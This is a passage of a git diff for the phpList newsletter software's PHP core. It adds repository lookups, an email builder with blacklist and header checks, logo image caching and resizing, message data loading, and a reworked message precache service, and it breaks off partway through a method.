 use PhpList\Core\Domain\Common\Repository\Interfaces\PaginatableRepositoryInterface;
@@ -76,6 +77,7 @@ public function incrementBounceCount(int $messageId): void
             ->execute();
     }
 
+    /** @return Message[] */
     public function getByStatusAndEmbargo(Message\MessageStatus $status, DateTimeImmutable $embargo): array
     {
         return $this->createQueryBuilder('m')
@@ -87,7 +89,7 @@ public function getByStatusAndEmbargo(Message\MessageStatus $status, DateTimeImm
             ->getResult();
     }
 
-    public function findByIdAndStatus(int $id, Message\MessageStatus $status)
+    public function findByIdAndStatus(int $id, Message\MessageStatus $status): ?Message
     {
         return $this->createQueryBuilder('m')
             ->where('m.id = :id')
@@ -97,4 +99,21 @@ public function findByIdAndStatus(int $id, Message\MessageStatus $status)
             ->getQuery()
             ->getOneOrNullResult();
     }
+
+    public function getNonEmptyFields(int $id): array
+    {
+        $message = $this->createQueryBuilder('m')
+            ->where('m.id = :id')
+            ->setParameter('id', $id)
+            ->getQuery()
+            ->getOneOrNullResult(AbstractQuery::HYDRATE_ARRAY) ?? [];
+
+        foreach ($message as $key => $value) {
+            if ($value === null || $value === '') {
+                unset($message[$key]);
+            }
+        }
+
+        return $message;
+    }
 }
diff --git a/src/Domain/Messaging/Repository/TemplateImageRepository.php b/src/Domain/Messaging/Repository/TemplateImageRepository.php
index 5622560b..60a48b39 100644
--- a/src/Domain/Messaging/Repository/TemplateImageRepository.php
+++ b/src/Domain/Messaging/Repository/TemplateImageRepository.php
@@ -7,8 +7,40 @@
 use PhpList\Core\Domain\Common\Repository\AbstractRepository;
 use PhpList\Core\Domain\Common\Repository\CursorPaginationTrait;
 use PhpList\Core\Domain\Common\Repository\Interfaces\PaginatableRepositoryInterface;
+use PhpList\Core\Domain\Messaging\Model\TemplateImage;
 
 class TemplateImageRepository extends AbstractRepository implements PaginatableRepositoryInterface
 {
     use CursorPaginationTrait;
+
+    public function findByFilename(string $filename): ?TemplateImage
+    {
+        return $this->createQueryBuilder('ti')
+            ->where('ti.filename = :filename')
+            ->setParameter('filename', $filename)
+            ->andWhere('ti.template = 0')
+            ->getQuery()
+            ->getOneOrNullResult();
+    }
+
+    public function findById(int $id): ?TemplateImage
+    {
+        return $this->createQueryBuilder('ti')
+            ->where('ti.id = :id')
+            ->setParameter('id', $id)
+            ->andWhere('ti.template = 0')
+            ->getQuery()
+            ->getOneOrNullResult();
+    }
+
+    public function findByTemplateIdAndFilename(int $templateId, string $filename): ?TemplateImage
+    {
+        return $this->createQueryBuilder('ti')
+            ->andWhere('IDENTITY(ti.template) = :templateId')
+            ->setParameter('templateId', $templateId)
+            ->andWhere('ti.filename IN (:filenames)')
+            ->setParameter('filenames', [$filename, basename($filename)])
+            ->getQuery()
+            ->getOneOrNullResult();
+    }
 }
diff --git a/src/Domain/Messaging/Repository/TemplateRepository.php b/src/Domain/Messaging/Repository/TemplateRepository.php
index 3f8fb533..b84f2837 100644
--- a/src/Domain/Messaging/Repository/TemplateRepository.php
+++ b/src/Domain/Messaging/Repository/TemplateRepository.php
@@ -7,8 +7,14 @@
 use PhpList\Core\Domain\Common\Repository\AbstractRepository;
 use PhpList\Core\Domain\Common\Repository\CursorPaginationTrait;
 use PhpList\Core\Domain\Common\Repository\Interfaces\PaginatableRepositoryInterface;
+use PhpList\Core\Domain\Messaging\Model\Template;
 
 class TemplateRepository extends AbstractRepository implements PaginatableRepositoryInterface
 {
     use CursorPaginationTrait;
+
+    public function findOneById(int $id): ?Template
+    {
+        return $this->findOneBy(['id' => $id]);
+    }
 }
diff --git a/src/Domain/Messaging/Service/Builder/EmailBuilder.php b/src/Domain/Messaging/Service/Builder/EmailBuilder.php
new file mode 100644
index 00000000..98d2c816
--- /dev/null
+++ b/src/Domain/Messaging/Service/Builder/EmailBuilder.php
@@ -0,0 +1,207 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Domain\Messaging\Service\Builder;
+
+use PhpList\Core\Domain\Configuration\Model\ConfigOption;
+use PhpList\Core\Domain\Configuration\Service\Manager\EventLogManager;
+use PhpList\Core\Domain\Configuration\Service\Provider\ConfigProvider;
+use PhpList\Core\Domain\Messaging\Exception\DevEmailNotConfiguredException;
+use PhpList\Core\Domain\Messaging\Service\SystemMailConstructor;
+use PhpList\Core\Domain\Messaging\Service\TemplateImageEmbedder;
+use PhpList\Core\Domain\Subscription\Repository\SubscriberRepository;
+use PhpList\Core\Domain\Subscription\Repository\UserBlacklistRepository;
+use PhpList\Core\Domain\Subscription\Service\Manager\SubscriberHistoryManager;
+use Psr\Log\LoggerInterface;
+use Symfony\Component\Mime\Address;
+use Symfony\Component\Mime\Email;
+
+/** @SuppressWarnings("ExcessiveParameterList") */
+class EmailBuilder
+{
+    public function __construct(
+        private readonly ConfigProvider $configProvider,
+        private readonly EventLogManager $eventLogManager,
+        private readonly UserBlacklistRepository $blacklistRepository,
+        private readonly SubscriberHistoryManager $subscriberHistoryManager,
+        private readonly SubscriberRepository $subscriberRepository,
+        private readonly SystemMailConstructor $systemMailConstructor,
+        private readonly TemplateImageEmbedder $templateImageEmbedder,
+        private readonly LoggerInterface $logger,
+        private readonly string $googleSenderId,
+        private readonly bool $useAmazonSes,
+        private readonly bool $usePrecedenceHeader,
+        private readonly bool $devVersion = true,
+        private readonly ?string $devEmail = null,
+    ) {
+    }
+
+    public function buildPhplistEmail(
+        int $messageId,
+        ?string $to = null,
+        ?string $subject = null,
+        ?string $message = null,
+        ?bool $skipBlacklistCheck = false,
+        ?bool $inBlast = true,
+    ): ?Email {
+        if (!$this->validateRecipientAndSubject($to, $subject)) {
+            return null;
+        }
+
+        if (!$this->passesBlacklistCheck($to, $skipBlacklistCheck)) {
+            return null;
+        }
+
+        $fromEmail = $this->configProvider->getValue(ConfigOption::MessageFromAddress);
+        $fromName = $this->configProvider->getValue(ConfigOption::MessageFromName);
+//        $messageReplyToAddress = $this->configProvider->getValue(ConfigOption::MessageReplyToAddress);
+//        $replyTo = $messageReplyToAddress ?: $fromEmail;
+
+        [$destinationEmail, $message] = $this->resolveDestinationEmailAndMessage($to, $message);
+
+        [$htmlMessage, $textMessage] = ($this->systemMailConstructor)($message, $subject);
+
+        $email = $this->createBaseEmail(
+            $messageId,
+            $destinationEmail,
+            $fromEmail,
+            $fromName,
+            $subject,
+            $inBlast
+        );
+
+        $this->applyContentAndFormatting($email, $htmlMessage, $textMessage, $messageId);
+
+        return $email;
+    }
+
+    private function validateRecipientAndSubject(?string $to, ?string $subject): bool
+    {
+        if (!$to) {
+            $this->eventLogManager->log('', sprintf('Error: empty To: in message with subject %s to send', $subject));
+
+            return false;
+        }
+        if (!$subject) {
+            $this->eventLogManager->log('', sprintf('Error: empty Subject: in message to send to %s', $to));
+
+            return false;
+        }
+        if (preg_match("/\n/", $to)) {
+            $this->eventLogManager->log('', 'Error: invalid recipient, containing newlines, email blocked');
+
+            return false;
+        }
+        if (preg_match("/\n/", $subject)) {
+            $this->eventLogManager->log('', 'Error: invalid subject, containing newlines, email blocked');
+
+            return false;
+        }
+
+        return true;
+    }
+
+    private function passesBlacklistCheck(?string $to, ?bool $skipBlacklistCheck): bool
+    {
+
+        if (!$skipBlacklistCheck && $this->blacklistRepository->isEmailBlacklisted($to)) {
+            $this->eventLogManager->log('', sprintf('Error, %s is blacklisted, not sending', $to));
+            $subscriber = $this->subscriberRepository->findOneByEmail($to);
+            if (!$subscriber) {
+                $this->logger->error('Error: subscriber not found', ['email' => $to]);
+
+                return false;
+            }
+            $subscriber->setBlacklisted(true);
+
+            $this->subscriberHistoryManager->addHistory(
+                subscriber: $subscriber,
+                message: 'Marked Blacklisted',
+                details: 'Found user in blacklist while trying to send an email, marked black listed',
+            );
+
+            return false;
+        }
+
+        return true;
+    }
+
+    private function resolveDestinationEmailAndMessage(?string $to, ?string $message): array
+    {
+        $destinationEmail = $to;
+
+        if ($this->devVersion) {
+            $message = 'To: ' . $to . PHP_EOL . $message;
+            if (!$this->devEmail) {
+                throw new DevEmailNotConfiguredException();
+            }
+            $destinationEmail = $this->devEmail;
+        }
+
+        return [$destinationEmail, $message];
+    }
+
+    private function createBaseEmail(
+        int $messageId,
+        mixed $destinationEmail,
+        ?string $fromEmail,
+        ?string $fromName,
+        ?string $subject,
+        ?bool $inBlast
+    ) : Email {
+        $email = (new Email());
+
+        $email->getHeaders()->addTextHeader('X-MessageID', (string)$messageId);
+        $email->getHeaders()->addTextHeader('X-ListMember', $destinationEmail);
+        if ($this->googleSenderId !== '') {
+            $email->getHeaders()->addTextHeader('Feedback-ID', sprintf('%s:%s', $messageId, $this->googleSenderId));
+        }
+
+        if (!$this->useAmazonSes && $this->usePrecedenceHeader) {
+            $email->getHeaders()->addTextHeader('Precedence', 'bulk');
+        }
+
+        if ($inBlast) {
+            $email->getHeaders()->addTextHeader('X-Blast', '1');
+        }
+
+        $removeUrl = $this->configProvider->getValue(ConfigOption::UnsubscribeUrl);
+        $sep = !str_contains($removeUrl, '?') ? '?' : '&';
+        $email->getHeaders()->addTextHeader(
+            'List-Unsubscribe',
+            '<' . $removeUrl . $sep . 'email=' . $destinationEmail . '&jo=1>'
+        );
+
+
+        if ($this->devEmail && $destinationEmail !== $this->devEmail) {
+            $email->getHeaders()->addTextHeader('X-Originally to', $destinationEmail);
+        }
+
+        $email->to($destinationEmail);
+        $email->from(new Address($fromEmail, $fromName));
+        $email->subject($subject);
+
+        return $email;
+    }
+
+    private function applyContentAndFormatting(Email $email, $htmlMessage, $textMessage, int $messageId): void
+    {
+
+        $newWrap = $this->configProvider->getValue(ConfigOption::WordWrap);
+        if ($newWrap) {
+            $textMessage = wordwrap($textMessage, (int)$newWrap);
+        }
+
+        if (!empty($htmlMessage)) {
+            $email->html($htmlMessage);
+            $email->text($textMessage);
+            ($this->templateImageEmbedder)(html: $htmlMessage, messageId: $messageId);
+            //# In the above phpMailer strips all tags, which removes the links
+            // which are wrapped in < and > by HTML2text
+            //# so add it again
+            $email->text($textMessage);
+        }
+        $email->text($textMessage);
+    }
+}
diff --git a/src/Domain/Messaging/Service/Manager/TemplateImageManager.php b/src/Domain/Messaging/Service/Manager/TemplateImageManager.php
index 68b04f40..6aeffc92 100644
--- a/src/Domain/Messaging/Service/Manager/TemplateImageManager.php
+++ b/src/Domain/Messaging/Service/Manager/TemplateImageManager.php
@@ -4,8 +4,9 @@
 
 namespace PhpList\Core\Domain\Messaging\Service\Manager;
 
-use Doctrine\ORM\EntityManagerInterface;
 use DOMDocument;
+use PhpList\Core\Domain\Configuration\Model\ConfigOption;
+use PhpList\Core\Domain\Configuration\Service\Provider\ConfigProvider;
 use PhpList\Core\Domain\Messaging\Model\Template;
 use PhpList\Core\Domain\Messaging\Model\TemplateImage;
 use PhpList\Core\Domain\Messaging\Repository\TemplateImageRepository;
@@ -24,15 +25,10 @@ class TemplateImageManager
         'swf'  => 'application/x-shockwave-flash',
     ];
 
-    private TemplateImageRepository $templateImageRepository;
-    private EntityManagerInterface $entityManager;
-
     public function __construct(
-        TemplateImageRepository $templateImageRepository,
-        EntityManagerInterface $entityManager
+        private readonly TemplateImageRepository $templateImageRepository,
+        private readonly ConfigProvider $configProvider,
     ) {
-        $this->templateImageRepository = $templateImageRepository;
-        $this->entityManager = $entityManager;
     }
 
     /** @return TemplateImage[] */
@@ -46,7 +42,7 @@ public function createImagesFromImagePaths(array $imagePaths, Template $template
             $image->setMimeType($this->guessMimeType($path));
             $image->setData(null);
 
-            $this->entityManager->persist($image);
+            $this->templateImageRepository->persist($image);
             $templateImages[] = $image;
         }
 
@@ -99,4 +95,147 @@ public function delete(TemplateImage $templateImage): void
     {
         $this->templateImageRepository->remove($templateImage);
     }
+
+    public function parseLogoPlaceholders(string $content): string
+    {
+        //# replace Logo placeholders
+        preg_match_all('/\[LOGO\:?(\d+)?\]/', $content, $logoInstances);
+        foreach ($logoInstances[0] as $index => $logoInstance) {
+            $size = sprintf('%d', $logoInstances[1][$index]);
+            $logoSize = !empty($size) ? $size : '500';
+            $this->createCachedLogoImage((int)$logoSize);
+            $content = str_replace($logoInstance, 'ORGANISATIONLOGO'.$logoSize.'.png', $content);
+        }
+
+        return $content;
+    }
+
+    public function createCachedLogoImage(int $size): void
+    {
+        $logoImageId = $this->configProvider->getValue(ConfigOption::OrganisationLogo);
+        if (empty($logoImageId)) {
+            return;
+        }
+
+        $orgLogoImage = $this->templateImageRepository->findByFilename(sprintf('ORGANISATIONLOGO%s.png', $size));
+        if ($orgLogoImage !== null && !empty($orgLogoImage->getData())) {
+            return;
+        }
+
+        $logoImage = $this->templateImageRepository->findById((int) $logoImageId);
+        if ($logoImage === null) {
+            return;
+        }
+
+        $imageContent = $this->decodeLogoImageData($logoImage->getData());
+        if ($imageContent === null) {
+            return;
+        }
+
+        $imgSize = getimagesizefromstring($imageContent);
+        if ($imgSize === false) {
+            return;
+        }
+
+        [$newWidth, $newHeight, $sizeFactor] = $this->calculateDimensions($imgSize, $size);
+
+        $imageContent = $this->resizeImageIfNecessary(
+            $imageContent,
+            $imgSize,
+            $newWidth,
+            $newHeight,
+            $sizeFactor,
+            $orgLogoImage
+        );
+
+        // else copy original
+        $templateImage = (new TemplateImage())
+            ->setFilename('ORGANISATIONLOGO' . $size . '.png')
+            ->setMimetype($imgSize['mime'])
+            ->setData(base64_encode($imageContent))
+            ->setWidth($newWidth)
+            ->setHeight($newHeight);
+
+        $this->templateImageRepository->persist($templateImage);
+    }
+
+    private function decodeLogoImageData(?string $logoData): ?string
+    {
+        $imageContent = base64_decode($logoData ?? '', true);
+
+        if (!empty($imageContent)) {
+            return $imageContent;
+        }
+
+        $fallbackContent = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQMAAAAl21bKAAAABGdBTUEAALGPC/'
+         . 'xhBQAAAAZQTFRF////AAAAVcLTfgAAAAF0Uk5TAEDm2GYAAAABYktHRACIBR1IAAAACXBIWXMAAAsSAAALEgHS3X78'
+         . 'AAAAB3RJTUUH0gQCEx05cqKA8gAAAApJREFUeJxjYAAAAAIAAUivpHEAAAAASUVORK5CYII=', true);
+
+        return $fallbackContent !== false ? $fallbackContent : null;
+    }
+
+    private function calculateDimensions(array $imgSize, int $size): array
+    {
+        $sizeW = $imgSize[0];
+        $sizeH = $imgSize[1];
+        if ($sizeH > $sizeW) {
+            $sizeFactor = (float) ($size / $sizeH);
+        } else {
+            $sizeFactor = (float) ($size / $sizeW);
+        }
+        $newWidth = (int) ($sizeW * $sizeFactor);
+        $newHeight = (int) ($sizeH * $sizeFactor);
+
+        return [$newWidth, $newHeight, $sizeFactor];
+    }
+
+    private function resizeImageIfNecessary(
+        string $imageContent,
+        array $imgSize,
+        mixed $newWidth,
+        mixed $newHeight,
+        mixed $sizeFactor,
+        ?TemplateImage $orgLogoImage
+    ): string {
+        if ($sizeFactor >= 1) {
+            return $imageContent;
+        }
+
+        $original = imagecreatefromstring($imageContent);
+        //# creates a black image (why would you want that....)
+        $resized = imagecreatetruecolor($newWidth, $newHeight);
+        imagesavealpha($resized, true);
+        //# white. All the methods to make it transparent didn't work for me @@TODO really make transparent
+        $transparent = imagecolorallocatealpha($resized, 255, 255, 255, 127);
+        imagefill($resized, 0, 0, $transparent);
+        [$sizeW, $sizeH] = [$imgSize[0], $imgSize[1]];
+
+        if (imagecopyresized(
+            $resized,
+            $original,
+            0,
+            0,
+            0,
+            0,
+            $newWidth,
+            $newHeight,
+            $sizeW,
+            $sizeH,
+        )) {
+            if ($orgLogoImage !== null) {
+                $this->templateImageRepository->remove($orgLogoImage);
+            }
+
+            //# rather convoluted way to get the image contents
+            $buffer = ob_get_contents();
+            ob_end_clean();
+            ob_start();
+            imagepng($resized);
+            $imageContent = ob_get_contents();
+            ob_end_clean();
+            echo $buffer;
+        }
+
+        return $imageContent;
+    }
 }
diff --git a/src/Domain/Messaging/Service/MessageDataLoader.php b/src/Domain/Messaging/Service/MessageDataLoader.php
new file mode 100644
index 00000000..925edcbe
--- /dev/null
+++ b/src/Domain/Messaging/Service/MessageDataLoader.php
@@ -0,0 +1,235 @@
+<?php
+
+declare(strict_types=1);
+
+namespace PhpList\Core\Domain\Messaging\Service;
+
+use PhpList\Core\Domain\Configuration\Model\ConfigOption;
+use PhpList\Core\Domain\Configuration\Service\Provider\ConfigProvider;
+use PhpList\Core\Domain\Messaging\Model\Message;
+use PhpList\Core\Domain\Messaging\Repository\MessageDataRepository;
+use PhpList\Core\Domain\Messaging\Repository\MessageRepository;
+use Psr\Log\LoggerInterface;
+
+class MessageDataLoader
+{
+    private const AS_FORMAT_FIELDS = ['astext', 'ashtml', 'astextandhtml', 'aspdf', 'astextandpdf'];
+    private const SCHEDULE_FIELDS = ['embargo', 'repeatuntil', 'requeueuntil'];
+    private ?string $messageFromAddress;
+
+    public function __construct(
+        private readonly ConfigProvider $configProvider,
+        private readonly MessageDataRepository $messageDataRepository,
+        private readonly MessageRepository $messageRepository,
+        private readonly LoggerInterface $logger,
+        private readonly int $defaultMessageAge,
+    ) {
+        $this->messageFromAddress = $configProvider->getValue(ConfigOption::MessageFromAddress);
+    }
+
+    public function __invoke(Message $message): array
+    {
+        $defaultFrom = $this->messageFromAddress ?? $this->configProvider->getValue(ConfigOption::AdminAddress);
+
+        $messageData = $this->buildDefaultMessageData();
+
+        $this->mergeNonEmptyFields($messageData, $message);
+        $this->mergeStoredMessageData($messageData, $message);
+        $this->normaliseScheduleFields($messageData);
+        $this->populateTargetLists($messageData, $message);
+        $this->ensureSendUrlAndMethod($messageData);
+        $this->normaliseFromField($messageData, $defaultFrom);
+        $this->cleanupSelections($messageData);
+        $this->deriveCampaignTitle($messageData);
+
+        return $messageData;
+    }
+
+    private function getDateArray(?int $timestamp = null): array
+    {
+        $timestamp = $timestamp ?? time();
+
+        return [
+            'year' => date('Y', $timestamp),
+            'month' => date('m', $timestamp),
+            'day' => date('d', $timestamp),
+            'hour' => date('H', $timestamp),
+            'minute' => date('i', $timestamp),
+        ];
+    }
+
+    private function buildDefaultMessageData(): array
+    {
+        $finishSending = time() + $this->defaultMessageAge;
+
+        return [
+            'template' => $this->configProvider->getValue(ConfigOption::DefaultMessageTemplate),
+            'sendformat' => 'HTML',
+            'message' => '',
+            'forwardmessage' => '',
+            'textmessage' => '',
+            'rsstemplate' => '',
+            'embargo' => $this->getDateArray(),
+            'repeatinterval' => 0,
+            'repeatuntil' => $this->getDateArray(),
+            'requeueinterval' => 0,
+            'requeueuntil' => $this->getDateArray(),
+            'finishsending' => $this->getDateArray($finishSending),
+            'fromfield' => '',
+            'subject' => '',
+            'forwardsubject' => '',
+            'footer' => $this->configProvider->getValue(ConfigOption::MessageFooter),
+            'forwardfooter' => $this->configProvider->getValue(ConfigOption::ForwardFooter),
+            'status' => '',
+            'tofield' => '',
+            'replyto' => '',
+            'targetlist' => [],
+            'criteria_match' => '',
+            'sendurl' => '',
+            'sendmethod' => 'inputhere',
+            'testtarget' => '',
+            'notify_start' => $this->configProvider->getValue(ConfigOption::NotifyStartDefault),
+            'notify_end' => $this->configProvider->getValue(ConfigOption::NotifyEndDefault),
+            'google_track' => filter_var(
+                value: $this->configProvider->getValue(ConfigOption::AlwaysAddGoogleTracking),
+                filter: FILTER_VALIDATE_BOOL
+            ),
+            'excludelist' => [],
+            'sentastest' => 0,
+        ];
+    }
+
+    private function mergeNonEmptyFields(array &$messageData, Message $message): void
+    {
+        $nonEmptyFields = $this->messageRepository->getNonEmptyFields($message->getId());
+        foreach ($nonEmptyFields as $key => $val) {
+            $messageData[$key] = $val;
+        }
+
+        if ($messageData['subject'] === '(no title)') {
+            $messageData['subject'] = '(no subject)';
+        }
+    }
+
+    private function mergeStoredMessageData(array &$messageData, Message $message): void
+    {
+        $storedMessageData = $this->messageDataRepository->getForMessage($message->getId());
+        foreach ($storedMessageData as $storedMessageDatum) {
+            if (str_starts_with($storedMessageDatum->getData(), 'SER:')) {
+                $unserialized = unserialize(substr($storedMessageDatum->getData(), 4), ['allowed_classes' => false]);
+                if (!is_array($unserialized)) {
+                    $this->logger->warning('Invalid serialized data for message ID: ' . $message->getId());
+                    continue;
+                }
+                array_walk_recursive($unserialized, function (&$val) {
+                    $val = stripslashes($val);
+                });
+
+                $data = $unserialized;
+            } else {
+                $data = stripslashes($storedMessageDatum->getData());
+            }
+            if (!in_array($storedMessageDatum->getName(), self::AS_FORMAT_FIELDS)) {
+                //# don't overwrite counters in the message table from the data table
+                $messageData[stripslashes($storedMessageDatum->getName())] = $data;
+            }
+        }
+    }
+
+    private function normaliseScheduleFields(array &$messageData): void
+    {
+        foreach (self::SCHEDULE_FIELDS as $dateField) {
+            if (!is_array($messageData[$dateField])) {
+                $messageData[$dateField] = $this->getDateArray();
+            }
+        }
+    }
+
+    private function populateTargetLists(array &$messageData, Message $message): void
+    {
+        foreach ($message->getListMessages() as $listMessage) {
+            $messageData['targetlist'][$listMessage->getListId()] = 1;
+        }
+    }
+
+    private function ensureSendUrlAndMethod(array &$messageData): void
+    {
+        //# backwards, check that the content has a url and use it to fill the sendurl
+        if (empty($messageData['sendurl'])) {
+            //# can't do "ungreedy matching, in case the URL has placeholders, but this can potentially throw problems
+            if (!empty($messageData['message']) && preg_match('/\[URL:(.*)\]/i', $messageData['message'], $regs)) {
+                $messageData['sendurl'] = $regs[1];
+            }
+        }
+        if (empty($messageData['sendurl']) && !empty($messageData['message'])) {
+            // if there's a message and no url, make sure to show the editor, and not the URL input
+            $messageData['sendmethod'] = 'inputhere';
+        }
+    }
+
+    private function normaliseFromField(array &$messageData, ?string $defaultFrom): void
+    {
+        //## parse the from field into it's components - email and name
+        if (preg_match('/([^ ]+@[^ ]+)/', $messageData['fromfield'], $regs)) {
+            // if there is an email in the from, rewrite it as "name <email>"
+            $messageData['fromname'] = str_replace($regs[0], '', $messageData['fromfield']);
+            $messageData['fromemail'] = $regs[0];
+            // if the email has < and > take them out here
+            $messageData['fromemail'] = str_replace('<', '', $messageData['fromemail']);
+            $messageData['fromemail'] = str_replace('>', '', $messageData['fromemail']);
+            // make sure there are no quotes around the name
+            $messageData['fromname'] = str_replace('"', '', ltrim(rtrim($messageData['fromname'])));
+        } elseif (str_contains($messageData['fromfield'], ' ')) {
+            // if there is a space, we need to add the email
+            $messageData['fromname'] = $messageData['fromfield'];
+            $messageData['fromemail'] = $defaultFrom;
+        } else {
+            $messageData['fromemail'] = $defaultFrom;
+            $messageData['fromname'] = $messageData['fromfield'];
+        }
+        // disallow an email address in the name
+        if (preg_match('/([^ ]+@[^ ]+)/', $messageData['fromname'], $regs)) {
+            $messageData['fromname'] = str_replace($regs[0], '', $messageData['fromname']);
+        }
+        // clean up
+        $messageData['fromemail'] = str_replace(',', '', $messageData['fromemail']);
+        $messageData['fromname'] = str_replace(',', '', $messageData['fromname']);
+
+        $messageData['fromname'] = trim($messageData['fromname']);
+
+        // erase double spacing
+        while (str_contains($messageData['fromname'], '  ')) {
+            $messageData['fromname'] = str_replace('  ', ' ', $messageData['fromname']);
+        }
+
+        //# if the name ends up being empty, copy the email
+        if (empty($messageData['fromname'])) {
+            $messageData['fromname'] = $messageData['fromemail'];
+        }
+    }
+
+    private function cleanupSelections(array &$messageData): void
+    {
+        if (isset($messageData['targetlist']['unselect'])) {
+            unset($messageData['targetlist']['unselect']);
+        }
+        if (isset($messageData['excludelist']['unselect'])) {
+            unset($messageData['excludelist']['unselect']);
+        }
+    }
+
+    private function deriveCampaignTitle(array &$messageData): void
+    {
+        if (empty($messageData['campaigntitle'])) {
+            if ($messageData['subject'] != '(no subject)') {
+                $messageData['campaigntitle'] = $messageData['subject'];
+            } else {
+                $messageData['campaigntitle'] = '(no title)';
+            }
+        }
+        //# copy subject to title
+        if ($messageData['campaigntitle'] === '(no title)' && $messageData['subject'] !== '(no subject)') {
+            $messageData['campaigntitle'] = $messageData['subject'];
+        }
+    }
+}
diff --git a/src/Domain/Messaging/Service/MessagePrecacheService.php b/src/Domain/Messaging/Service/MessagePrecacheService.php
index cc1c7dc9..2a0f6b28 100644
--- a/src/Domain/Messaging/Service/MessagePrecacheService.php
+++ b/src/Domain/Messaging/Service/MessagePrecacheService.php
@@ -4,134 +4,238 @@
 
 namespace PhpList\Core\Domain\Messaging\Service;
 
+use PhpList\Core\Domain\Common\Html2Text;
+use PhpList\Core\Domain\Common\RemotePageFetcher;
+use PhpList\Core\Domain\Common\TextParser;
+use PhpList\Core\Domain\Configuration\Model\ConfigOption;
+use PhpList\Core\Domain\Configuration\Service\Manager\EventLogManager;
+use PhpList\Core\Domain\Configuration\Service\Provider\ConfigProvider;
+use PhpList\Core\Domain\Identity\Repository\AdminAttributeDefinitionRepository;
+use PhpList\Core\Domain\Identity\Repository\AdministratorRepository;
+use PhpList\Core\Domain\Messaging\Model\Dto\MessagePrecacheDto;
 use PhpList\Core\Domain\Messaging\Model\Message;
+use PhpList\Core\Domain\Messaging\Repository\TemplateRepository;
+use PhpList\Core\Domain\Messaging\Service\Manager\TemplateImageManager;
 use Psr\SimpleCache\CacheInterface;
 
+/** @SuppressWarnings("ExcessiveParameterList") */
 class MessagePrecacheService
 {
-    public function __construct(private readonly CacheInterface $cache)
-    {
+    private const REPLACE_KEYS = ['subject', 'id', 'fromname', 'fromemail'];
+
+    public function __construct(
+        private readonly CacheInterface $cache,
+        private readonly ConfigProvider $configProvider,
+        private readonly Html2Text $html2Text,
+        private readonly TextParser $textParser,
+        private readonly TemplateRepository $templateRepository,
+        private readonly RemotePageFetcher $remotePageFetcher,
+        private readonly EventLogManager $eventLogManager,
+        private readonly AdminAttributeDefinitionRepository $adminAttreDefRepository,
+        private readonly AdministratorRepository $adminRepository,
+        private readonly TemplateImageManager $templateImageManager,
+        private readonly bool $useManualTextPart,
+        private readonly string $uploadImageDir,
+        private readonly string $publicSchema,
+    ) {
     }
 
     /**
      * Retrieve the base (unpersonalized) message content for a campaign from cache,
-     * or cache it on first access. Legacy-like behavior: handle [URL:] token fetch
-     * and basic placeholder replacements.
+     * or cache it on first access. Handle [URL:] token fetch and basic placeholder replacements.
+     *
      */
-    public function getOrCacheBaseMessageContent(Message $campaign): Message\MessageContent
+    public function precacheMessage(Message $campaign, $loadedMessageData, ?bool $forwardContent = false): bool
     {
-        $cacheKey = sprintf('messaging.message.base.%d', $campaign->getId());
-
-        $cached = $this->getFromCache($cacheKey);
+        $cacheKey = sprintf('messaging.message.base.%d.%d', $campaign->getId(), (int) $forwardContent);
+        $cached = $this->cache->get($cacheKey);
         if ($cached !== null) {
             return $cached;
         }
 
-        $content = $campaign->getContent();
-        $subject = $content->getSubject();
-        $html = $content->getText();
-        $text = $content->getTextMessage();
-        $footer = $content->getFooter();
-
-        // If content contains a [URL:...] token, try to fetch and replace with remote content
-        if (is_string($html) && preg_match('/\[URL:([^\s\]]+)\]/i', $html, $match)) {
-            $remoteUrl = $match[1];
-            $fetched = $this->fetchRemoteContent($remoteUrl);
-            if ($fetched !== null) {
-                $html = str_replace($match[0], $fetched, $html);
+        $domain = $this->configProvider->getValue(ConfigOption::Domain);
+        $messagePrecacheDto = new MessagePrecacheDto();
+
+        $this->populateReplyTo($messagePrecacheDto, $loadedMessageData, $domain);
+        $this->populateBasicFields($messagePrecacheDto, $loadedMessageData, (bool) $forwardContent);
+
+        $messagePrecacheDto->htmlFormatted = $this->isHtml($messagePrecacheDto->content);
+        $messagePrecacheDto->sendFormat = $loadedMessageData['sendformat'];
+
+        $this->applyTemplate($messagePrecacheDto, $loadedMessageData);
+
+        //# if we are sending a URL that contains user attributes, we cannot pre-parse the message here
+        //# but that has quite some impact on speed. So check if that's the case and apply
+        $messagePrecacheDto->userSpecificUrl = preg_match('/\[.+\]/', $loadedMessageData['sendurl']);
+
+        if (!$messagePrecacheDto->userSpecificUrl) {
+            if (!$this->applyRemoteContentIfPresent($messagePrecacheDto, $loadedMessageData)) {
+                return false;
             }
         }
 
-        // Replace basic placeholders [subject],[id],[fromname],[fromemail]
-        $replacements = $this->buildBasicReplacements($campaign, $subject);
-        $html = $this->applyReplacements($html, $replacements);
-        $text = $this->applyReplacements($text, $replacements);
-        $footer = $this->applyReplacements($footer, $replacements);
+        $messagePrecacheDto->googleTrack = $loadedMessageData['google_track'];
+
+        $this->applyBasicReplacements($messagePrecacheDto, $loadedMessageData);
+        $this->populateAdminAttributes($messagePrecacheDto, $campaign);
 
-        $snapshot = [
-            'subject' => $subject,
-            'text' => $html,
-            'textMessage' => $text,
-            'footer' => $footer,
-        ];
+        $baseurl = $this->configProvider->getValue(ConfigOption::Website);
+        if ($this->uploadImageDir) {
+            //# escape subdirectories, otherwise this renders empty
+            $dir = str_replace('/', '\/', $this->uploadImageDir);
+            $messagePrecacheDto->content = preg_replace(
+                '/<img(.*)src="\/' . $dir . '(.*)>/iU',
+                '<img\\1src="' . $this->publicSchema . '://' . $baseurl . '/' . $this->uploadImageDir . '\\2>',
+                $messagePrecacheDto->content
+            );
+        }
 
-        $this->cache->set($cacheKey, $snapshot);
+        $messagePrecacheDto->content = $this->templateImageManager->parseLogoPlaceholders($messagePrecacheDto->content);
+        $messagePrecacheDto->template = $this->templateImageManager
+            ->parseLogoPlaceholders($messagePrecacheDto->template);
+        $messagePrecacheDto->htmlFooter = $this->templateImageManager
+            ->parseLogoPlaceholders($messagePrecacheDto->htmlFooter);
 
-        return new Message\MessageContent($subject, $html, $text, $footer);
+        $this->cache->set($cacheKey, $messagePrecacheDto);
+
+        return true;
     }
 
-    private function fetchRemoteContent(string $url): ?string
+    private function isHtml(string $content): bool
     {
-        $ctx = stream_context_create([
-            'http' => ['timeout' => 5],
-            'https' => ['timeout' => 5],
-        ]);
-
-        // Ignore warnings from file_get_contents only inside this block
-        set_error_handler(static function () {
-            return true;
-        });
-
-        try {
-            $data = file_get_contents($url, false, $ctx);
-        } finally {
